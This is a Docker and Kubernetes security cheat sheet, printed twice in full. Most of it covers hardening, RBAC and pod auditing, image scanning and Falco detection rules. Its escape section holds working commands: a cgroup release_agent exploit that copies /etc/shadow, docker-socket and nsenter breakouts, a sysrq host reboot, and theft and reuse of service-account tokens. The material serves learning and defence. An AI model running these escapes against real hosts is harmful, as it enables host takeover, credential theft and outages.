CONTAINER SECURITY (DOCKER & KUBERNETES)
A practical reference for securing, auditing, and exploiting Docker and Kubernetes environments.
DOCKER ESCAPE TECHNIQUES#
# 1. Privileged container escape # If container runs with --privileged, you have full host access # Check if privileged: cat /proc/self/status | grep CapEff # CapEff: 0000003fffffffff = privileged (all capabilities) # Mount host filesystem from privileged container mkdir /mnt/host mount /dev/sda1 /mnt/host chroot /mnt/host bash # 2. Docker socket mount escape # If /var/run/docker.sock is mounted in container ls -la /var/run/docker.sock # Create a new privileged container from inside the container docker -H unix:///var/run/docker.sock run -it --privileged --pid=host -v /:/host ubuntu chroot /host bash # 3. Sensitive capability abuse (SYS_ADMIN) # If container has CAP_SYS_ADMIN # cgroup escape (CVE-2022-0492 and variants) mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab) echo "$host_path/cmd" > /tmp/cgrp/release_agent echo '#!/bin/sh' > /cmd echo "cat /etc/shadow > $host_path/output" >> /cmd chmod a+x /cmd sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" cat /output # 4. Kernel exploit from container # Containers share the host kernel - kernel exploits work # Check kernel version uname -r # 5. /proc/sys abuse # Writable /proc/sys can modify host kernel parameters # If /proc/sysrq-trigger is accessible: echo b > /proc/sysrq-trigger # Reboot host (DoS) # 6. nsenter escape (requires CAP_SYS_ADMIN + host PID namespace) nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash # Detection: Check for container escapes # Look for: mount operations, docker socket access, nsenter, chroot
PRIVILEGED CONTAINER RISKS#
# What --privileged gives an attacker:
# - All Linux capabilities
# - Access to all host devices (/dev/sda, /dev/mem)
# - Ability to mount filesystems
# - Access to host kernel modules
# - No seccomp/AppArmor restrictions
# - Can load kernel modules
# Check container capabilities
capsh --print
cat /proc/1/status | grep Cap
# List available devices
ls -la /dev/
# Dangerous flags equivalent to --privileged:
# --cap-add=ALL
# --security-opt seccomp=unconfined
# --security-opt apparmor=unconfined
# --pid=host
# --network=host
# -v /:/host
# Find privileged containers on host
docker ps --quiet | xargs docker inspect --format '{{.Name}} Privileged:{{.HostConfig.Privileged}}'
# Find containers with dangerous mounts
docker ps --quiet | xargs docker inspect --format '{{.Name}} Mounts:{{range .Mounts}}{{.Source}}->{{.Destination}} {{end}}'
DOCKER SECURITY HARDENING#
# Run container as non-root docker run --user 1000:1000 <image> # Or in Dockerfile: # USER nonroot # Drop all capabilities and add only needed ones docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE <image> # Enable seccomp profile docker run --security-opt seccomp=default.json <image> # Read-only filesystem docker run --read-only --tmpfs /tmp <image> # No new privileges docker run --security-opt=no-new-privileges <image> # Limit resources docker run --memory=512m --cpus=1 <image> # Disable inter-container communication docker network create --driver bridge -o com.docker.network.bridge.enable_icc=false isolated # Scan Dockerfile for misconfigurations # Use hadolint hadolint Dockerfile # Docker Bench for Security docker run --net host --pid host --userns host --cap-add audit_control \ -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \ -v /var/lib:/var/lib \ -v /var/run/docker.sock:/var/run/docker.sock \ -v /etc:/etc \ docker/docker-bench-security
KUBERNETES RBAC MISCONFIGURATION#
# List cluster roles
kubectl get clusterroles
kubectl get clusterrolebindings
# List roles in a namespace
kubectl get roles -n <namespace>
kubectl get rolebindings -n <namespace>
# Check current user permissions
kubectl auth can-i --list
kubectl auth can-i --list --as=system:serviceaccount:<ns>:<sa>
# Check specific permission
kubectl auth can-i create pods
kubectl auth can-i get secrets --all-namespaces
# Dangerous RBAC patterns:
# 1. cluster-admin bound to service account
kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects'
# 2. Wildcard permissions (verb: "*", resource: "*")
kubectl get clusterroles -o json | jq '.items[] | select(.rules[].verbs[] == "*") | .metadata.name'
# 3. secrets access
kubectl get clusterroles -o json | jq '.items[] | select(.rules[].resources[] == "secrets") | .metadata.name'
# 4. pod/exec permission (container shell access)
kubectl auth can-i create pods/exec -n <namespace>
# Get all secrets (if permitted)
kubectl get secrets --all-namespaces
kubectl get secret <secret-name> -o jsonpath='{.data}' | base64 -d
# Service account token theft
# Default SA token is mounted at:
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Use stolen token
kubectl --token=<token> --server=https://<api-server>:6443 --insecure-skip-tls-verify get pods
# Tool: KubiScan - scan for risky RBAC
python3 KubiScan.py --risky-clusterroles
python3 KubiScan.py --risky-subjects
POD SECURITY STANDARDS#
# Pod Security Standards (PSS) replaces PodSecurityPolicy # Three levels: # Privileged - unrestricted (no restrictions) # Baseline - minimally restrictive (prevents known escalations) # Restricted - heavily restricted (security best practices) # Enforce at namespace level kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted kubectl label namespace <ns> pod-security.kubernetes.io/warn=restricted kubectl label namespace <ns> pod-security.kubernetes.io/audit=restricted # Check namespace labels kubectl get namespace <ns> -o yaml | grep pod-security # Key restrictions in Restricted level: # - Must run as non-root # - Must drop ALL capabilities # - No privilege escalation (allowPrivilegeEscalation: false) # - No hostNetwork, hostPID, hostIPC # - No hostPath volumes # - Seccomp profile must be set # - Read-only root filesystem recommended # Example restricted pod spec: # spec: # securityContext: # runAsNonRoot: true # seccompProfile: # type: RuntimeDefault # containers: # - name: app # securityContext: # allowPrivilegeEscalation: false # capabilities: # drop: ["ALL"] # readOnlyRootFilesystem: true
SECRETS MANAGEMENT#
# Kubernetes Secrets are base64 encoded (NOT encrypted by default)
# Get and decode a secret
kubectl get secret <name> -o jsonpath='{.data.password}' | base64 -d
# Enable encryption at rest (EncryptionConfiguration)
# /etc/kubernetes/encryption-config.yaml
# apiVersion: apiserver.config.k8s.io/v1
# kind: EncryptionConfiguration
# resources:
# - resources: [secrets]
# providers:
# - aescbc:
# keys:
# - name: key1
# secret: <base64-encoded-key>
# - identity: {}
# Better alternatives to native secrets:
# - HashiCorp Vault with Vault Agent Injector
# - AWS Secrets Manager with External Secrets Operator
# - Azure Key Vault with CSI driver
# - Sealed Secrets (Bitnami)
# - SOPS with age/PGP encryption
# External Secrets Operator
kubectl apply -f external-secret.yaml
# Syncs secrets from external providers into Kubernetes
# Disable automounting SA token when not needed
# spec:
# automountServiceAccountToken: false
NETWORK POLICIES#
# Default: all pods can communicate with each other (no isolation)
# Deny all ingress to a namespace
# apiVersion: networking.k8s.io/v1
# kind: NetworkPolicy
# metadata:
# name: deny-all-ingress
# namespace: production
# spec:
# podSelector: {}
# policyTypes: [Ingress]
# Allow only specific traffic
# apiVersion: networking.k8s.io/v1
# kind: NetworkPolicy
# metadata:
# name: allow-frontend
# spec:
# podSelector:
# matchLabels:
# app: backend
# ingress:
# - from:
# - podSelector:
# matchLabels:
# app: frontend
# ports:
# - port: 8080
# Verify network policies
kubectl get networkpolicies --all-namespaces
# Check if CNI supports network policies
# Calico, Cilium, Weave Net support them
# Flannel does NOT support network policies by default
# Cilium network policy (L7 filtering)
# apiVersion: cilium.io/v2
# kind: CiliumNetworkPolicy
# spec:
# endpointSelector:
# matchLabels:
# app: api
# ingress:
# - fromEndpoints:
# - matchLabels:
# app: frontend
# toPorts:
# - ports:
# - port: "443"
# rules:
# http:
# - method: GET
# path: "/api/v1/.*"
IMAGE SCANNING#
# Trivy - comprehensive vulnerability scanner # Scan container image trivy image <image:tag> trivy image --severity HIGH,CRITICAL nginx:latest # Scan filesystem trivy fs --security-checks vuln,config /path/to/project # Scan Kubernetes cluster trivy k8s --report summary cluster # Scan with SBOM output trivy image --format spdx-json -o sbom.json <image> # Scan in CI/CD pipeline (fail on critical) trivy image --exit-code 1 --severity CRITICAL <image> # Grype - vulnerability scanner # Scan image grype <image:tag> grype nginx:latest # Scan with severity filter grype <image> --fail-on high # Scan SBOM grype sbom:./sbom.json # Generate SBOM with Syft (companion to Grype) syft <image:tag> -o spdx-json > sbom.json # Scan Dockerfile with Snyk snyk container test <image:tag> # Best practices: # - Scan images in CI/CD before deployment # - Use admission controllers to block vulnerable images # - Regularly rescan deployed images for new CVEs # - Use minimal base images (distroless, Alpine, scratch) # - Pin image versions (never use :latest in production)
RUNTIME SECURITY (FALCO)#
# Falco - runtime threat detection for containers and Kubernetes # Install Falco via Helm helm repo add falcosecurity https://falcosecurity.github.io/charts helm install falco falcosecurity/falco --namespace falco --create-namespace # Key Falco rules that detect container threats: # - Terminal shell in container # - Write below /etc # - Read sensitive file (e.g., /etc/shadow) # - Contact K8s API server from container # - Unexpected outbound connection # - Container drift (new executable) # - Privileged container started # - Mount sensitive host path # Custom Falco rule example: # - rule: Detect Reverse Shell # desc: Detects reverse shell connections from containers # condition: > # spawned_process and container and # ((proc.name in (bash, sh, zsh)) and # (fd.type = ipv4 or fd.type = ipv6) and # (fd.direction = out)) # output: > # Reverse shell detected (user=%user.name container=%container.name # command=%proc.cmdline connection=%fd.name) # priority: CRITICAL # View Falco alerts kubectl logs -n falco -l app.kubernetes.io/name=falco -f # Falco with Sidekick (alert routing) helm install falco falcosecurity/falco \ --set falcosidekick.enabled=true \ --set falcosidekick.config.slack.webhookurl=https://hooks.slack.com/...
KUBECTL SECURITY COMMANDS#
# Audit cluster security posture
# Find pods running as root
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.containers[].securityContext.runAsUser == 0 or .spec.securityContext.runAsUser == 0) | .metadata.name'
# Find privileged pods
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged == true) | {name: .metadata.name, namespace: .metadata.namespace}'
# Find pods with hostNetwork
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.hostNetwork == true) | .metadata.name'
# Find pods with hostPID
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.hostPID == true) | .metadata.name'
# Find pods mounting docker socket
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.volumes[]?.hostPath.path == "/var/run/docker.sock") | .metadata.name'
# Find pods without resource limits
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.containers[].resources.limits == null) | {name: .metadata.name, namespace: .metadata.namespace}'
# List all service accounts with secrets
kubectl get serviceaccounts --all-namespaces -o json | jq '.items[] | select(.secrets != null) | {name: .metadata.name, namespace: .metadata.namespace}'
# Check API server anonymous access
kubectl auth can-i --list --as=system:anonymous
# Check for default service account usage
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.serviceAccountName == "default") | {name: .metadata.name, namespace: .metadata.namespace}'
# kubeaudit - automated K8s security audit
kubeaudit all
# kube-bench - CIS benchmark checks
kube-bench run --targets master,node
# kubesec - security risk analysis
kubesec scan pod.yaml
# kubectl-who-can - RBAC analysis
kubectl who-can create pods
kubectl who-can get secrets --all-namespaces
CONTAINER SECURITY (DOCKER & KUBERNETES)
==========================================
Source: https://cheatsheet.johlem.net
A practical reference for securing, auditing, and exploiting
Docker and Kubernetes environments.
DOCKER ESCAPE TECHNIQUES
--------------------------
# 1. Privileged container escape
# If container runs with --privileged, you have full host access
# Check if privileged:
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = privileged (all capabilities)
# Mount host filesystem from privileged container
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host bash
# 2. Docker socket mount escape
# If /var/run/docker.sock is mounted in container
ls -la /var/run/docker.sock
# Create a new privileged container from inside the container
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host -v /:/host ubuntu chroot /host bash
# 3. Sensitive capability abuse (SYS_ADMIN)
# If container has CAP_SYS_ADMIN
# cgroup escape (CVE-2022-0492 and variants)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
# 4. Kernel exploit from container
# Containers share the host kernel - kernel exploits work
# Check kernel version
uname -r
# 5. /proc/sys abuse
# Writable /proc/sys can modify host kernel parameters
# If /proc/sysrq-trigger is accessible:
echo b > /proc/sysrq-trigger # Reboot host (DoS)
# 6. nsenter escape (requires CAP_SYS_ADMIN + host PID namespace)
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# Detection: Check for container escapes
# Look for: mount operations, docker socket access, nsenter, chroot
PRIVILEGED CONTAINER RISKS
----------------------------
# What --privileged gives an attacker:
# - All Linux capabilities
# - Access to all host devices (/dev/sda, /dev/mem)
# - Ability to mount filesystems
# - Access to host kernel modules
# - No seccomp/AppArmor restrictions
# - Can load kernel modules
# Check container capabilities
capsh --print
cat /proc/1/status | grep Cap
# List available devices
ls -la /dev/
# Dangerous flags equivalent to --privileged:
# --cap-add=ALL
# --security-opt seccomp=unconfined
# --security-opt apparmor=unconfined
# --pid=host
# --network=host
# -v /:/host
# Find privileged containers on host
docker ps --quiet | xargs docker inspect --format '{{.Name}} Privileged:{{.HostConfig.Privileged}}'
# Find containers with dangerous mounts
docker ps --quiet | xargs docker inspect --format '{{.Name}} Mounts:{{range .Mounts}}{{.Source}}->{{.Destination}} {{end}}'
DOCKER SECURITY HARDENING
---------------------------
# Run container as non-root
docker run --user 1000:1000 <image>
# Or in Dockerfile:
# USER nonroot
# Drop all capabilities and add only needed ones
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE <image>
# Enable seccomp profile
docker run --security-opt seccomp=default.json <image>
# Read-only filesystem
docker run --read-only --tmpfs /tmp <image>
# No new privileges
docker run --security-opt=no-new-privileges <image>
# Limit resources
docker run --memory=512m --cpus=1 <image>
# Disable inter-container communication
docker network create --driver bridge -o com.docker.network.bridge.enable_icc=false isolated
# Scan Dockerfile for misconfigurations
# Use hadolint
hadolint Dockerfile
# Docker Bench for Security
docker run --net host --pid host --userns host --cap-add audit_control \
-e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
-v /var/lib:/var/lib \
-v /var/run/docker.sock:/var/run/docker.sock \
-v /etc:/etc \
docker/docker-bench-security
KUBERNETES RBAC MISCONFIGURATION
---------------------------------
# List cluster roles
kubectl get clusterroles
kubectl get clusterrolebindings
# List roles in a namespace
kubectl get roles -n <namespace>
kubectl get rolebindings -n <namespace>
# Check current user permissions
kubectl auth can-i --list
kubectl auth can-i --list --as=system:serviceaccount:<ns>:<sa>
# Check specific permission
kubectl auth can-i create pods
kubectl auth can-i get secrets --all-namespaces
# Dangerous RBAC patterns:
# 1. cluster-admin bound to service account
kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects'
# 2. Wildcard permissions (verb: "*", resource: "*")
kubectl get clusterroles -o json | jq '.items[] | select(.rules[].verbs[] == "*") | .metadata.name'
# 3. secrets access
kubectl get clusterroles -o json | jq '.items[] | select(.rules[].resources[] == "secrets") | .metadata.name'
# 4. pod/exec permission (container shell access)
kubectl auth can-i create pods/exec -n <namespace>
# Get all secrets (if permitted)
kubectl get secrets --all-namespaces
kubectl get secret <secret-name> -o jsonpath='{.data}' | base64 -d
# Service account token theft
# Default SA token is mounted at:
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Use stolen token
kubectl --token=<token> --server=https://<api-server>:6443 --insecure-skip-tls-verify get pods
# Tool: KubiScan - scan for risky RBAC
python3 KubiScan.py --risky-clusterroles
python3 KubiScan.py --risky-subjects
POD SECURITY STANDARDS
-----------------------
# Pod Security Standards (PSS) replaces PodSecurityPolicy
# Three levels:
# Privileged - unrestricted (no restrictions)
# Baseline - minimally restrictive (prevents known escalations)
# Restricted - heavily restricted (security best practices)
# Enforce at namespace level
kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted
kubectl label namespace <ns> pod-security.kubernetes.io/warn=restricted
kubectl label namespace <ns> pod-security.kubernetes.io/audit=restricted
# Check namespace labels
kubectl get namespace <ns> -o yaml | grep pod-security
# Key restrictions in Restricted level:
# - Must run as non-root
# - Must drop ALL capabilities
# - No privilege escalation (allowPrivilegeEscalation: false)
# - No hostNetwork, hostPID, hostIPC
# - No hostPath volumes
# - Seccomp profile must be set
# - Read-only root filesystem recommended
# Example restricted pod spec:
# spec:
# securityContext:
# runAsNonRoot: true
# seccompProfile:
# type: RuntimeDefault
# containers:
# - name: app
# securityContext:
# allowPrivilegeEscalation: false
# capabilities:
# drop: ["ALL"]
# readOnlyRootFilesystem: true
SECRETS MANAGEMENT
-------------------
# Kubernetes Secrets are base64 encoded (NOT encrypted by default)
# Get and decode a secret
kubectl get secret <name> -o jsonpath='{.data.password}' | base64 -d
# Enable encryption at rest (EncryptionConfiguration)
# /etc/kubernetes/encryption-config.yaml
# apiVersion: apiserver.config.k8s.io/v1
# kind: EncryptionConfiguration
# resources:
# - resources: [secrets]
# providers:
# - aescbc:
# keys:
# - name: key1
# secret: <base64-encoded-key>
# - identity: {}
# Better alternatives to native secrets:
# - HashiCorp Vault with Vault Agent Injector
# - AWS Secrets Manager with External Secrets Operator
# - Azure Key Vault with CSI driver
# - Sealed Secrets (Bitnami)
# - SOPS with age/PGP encryption
# External Secrets Operator
kubectl apply -f external-secret.yaml
# Syncs secrets from external providers into Kubernetes
# Disable automounting SA token when not needed
# spec:
# automountServiceAccountToken: false
NETWORK POLICIES
-----------------
# Default: all pods can communicate with each other (no isolation)
# Deny all ingress to a namespace
# apiVersion: networking.k8s.io/v1
# kind: NetworkPolicy
# metadata:
# name: deny-all-ingress
# namespace: production
# spec:
# podSelector: {}
# policyTypes: [Ingress]
# Allow only specific traffic
# apiVersion: networking.k8s.io/v1
# kind: NetworkPolicy
# metadata:
# name: allow-frontend
# spec:
# podSelector:
# matchLabels:
# app: backend
# ingress:
# - from:
# - podSelector:
# matchLabels:
# app: frontend
# ports:
# - port: 8080
# Verify network policies
kubectl get networkpolicies --all-namespaces
# Check if CNI supports network policies
# Calico, Cilium, Weave Net support them
# Flannel does NOT support network policies by default
# Cilium network policy (L7 filtering)
# apiVersion: cilium.io/v2
# kind: CiliumNetworkPolicy
# spec:
# endpointSelector:
# matchLabels:
# app: api
# ingress:
# - fromEndpoints:
# - matchLabels:
# app: frontend
# toPorts:
# - ports:
# - port: "443"
# rules:
# http:
# - method: GET
# path: "/api/v1/.*"
IMAGE SCANNING
---------------
# Trivy - comprehensive vulnerability scanner
# Scan container image
trivy image <image:tag>
trivy image --severity HIGH,CRITICAL nginx:latest
# Scan filesystem
trivy fs --security-checks vuln,config /path/to/project
# Scan Kubernetes cluster
trivy k8s --report summary cluster
# Scan with SBOM output
trivy image --format spdx-json -o sbom.json <image>
# Scan in CI/CD pipeline (fail on critical)
trivy image --exit-code 1 --severity CRITICAL <image>
# Grype - vulnerability scanner
# Scan image
grype <image:tag>
grype nginx:latest
# Scan with severity filter
grype <image> --fail-on high
# Scan SBOM
grype sbom:./sbom.json
# Generate SBOM with Syft (companion to Grype)
syft <image:tag> -o spdx-json > sbom.json
# Scan Dockerfile with Snyk
snyk container test <image:tag>
# Best practices:
# - Scan images in CI/CD before deployment
# - Use admission controllers to block vulnerable images
# - Regularly rescan deployed images for new CVEs
# - Use minimal base images (distroless, Alpine, scratch)
# - Pin image versions (never use :latest in production)
RUNTIME SECURITY (FALCO)
--------------------------
# Falco - runtime threat detection for containers and Kubernetes
# Install Falco via Helm
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco --namespace falco --create-namespace
# Key Falco rules that detect container threats:
# - Terminal shell in container
# - Write below /etc
# - Read sensitive file (e.g., /etc/shadow)
# - Contact K8s API server from container
# - Unexpected outbound connection
# - Container drift (new executable)
# - Privileged container started
# - Mount sensitive host path
# Custom Falco rule example:
# - rule: Detect Reverse Shell
# desc: Detects reverse shell connections from containers
# condition: >
# spawned_process and container and
# ((proc.name in (bash, sh, zsh)) and
# (fd.type = ipv4 or fd.type = ipv6) and
# (fd.direction = out))
# output: >
# Reverse shell detected (user=%user.name container=%container.name
# command=%proc.cmdline connection=%fd.name)
# priority: CRITICAL
# View Falco alerts
kubectl logs -n falco -l app.kubernetes.io/name=falco -f
# Falco with Sidekick (alert routing)
helm install falco falcosecurity/falco \
--set falcosidekick.enabled=true \
--set falcosidekick.config.slack.webhookurl=https://hooks.slack.com/...
KUBECTL SECURITY COMMANDS
---------------------------
# Audit cluster security posture
# Find pods running as root
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.containers[].securityContext.runAsUser == 0 or .spec.securityContext.runAsUser == 0) | .metadata.name'
# Find privileged pods
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged == true) | {name: .metadata.name, namespace: .metadata.namespace}'
# Find pods with hostNetwork
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.hostNetwork == true) | .metadata.name'
# Find pods with hostPID
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.hostPID == true) | .metadata.name'
# Find pods mounting docker socket
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.volumes[]?.hostPath.path == "/var/run/docker.sock") | .metadata.name'
# Find pods without resource limits
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.containers[].resources.limits == null) | {name: .metadata.name, namespace: .metadata.namespace}'
# List all service accounts with secrets
kubectl get serviceaccounts --all-namespaces -o json | jq '.items[] | select(.secrets != null) | {name: .metadata.name, namespace: .metadata.namespace}'
# Check API server anonymous access
kubectl auth can-i --list --as=system:anonymous
# Check for default service account usage
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.serviceAccountName == "default") | {name: .metadata.name, namespace: .metadata.namespace}'
# kubeaudit - automated K8s security audit
kubeaudit all
# kube-bench - CIS benchmark checks
kube-bench run --targets master,node
# kubesec - security risk analysis
kubesec scan pod.yaml
# kubectl-who-can - RBAC analysis
kubectl who-can create pods
kubectl who-can get secrets --all-namespaces
Defensive reference on CyberRamen. Offensive / red-team sheets live on OffensiveRamen.com.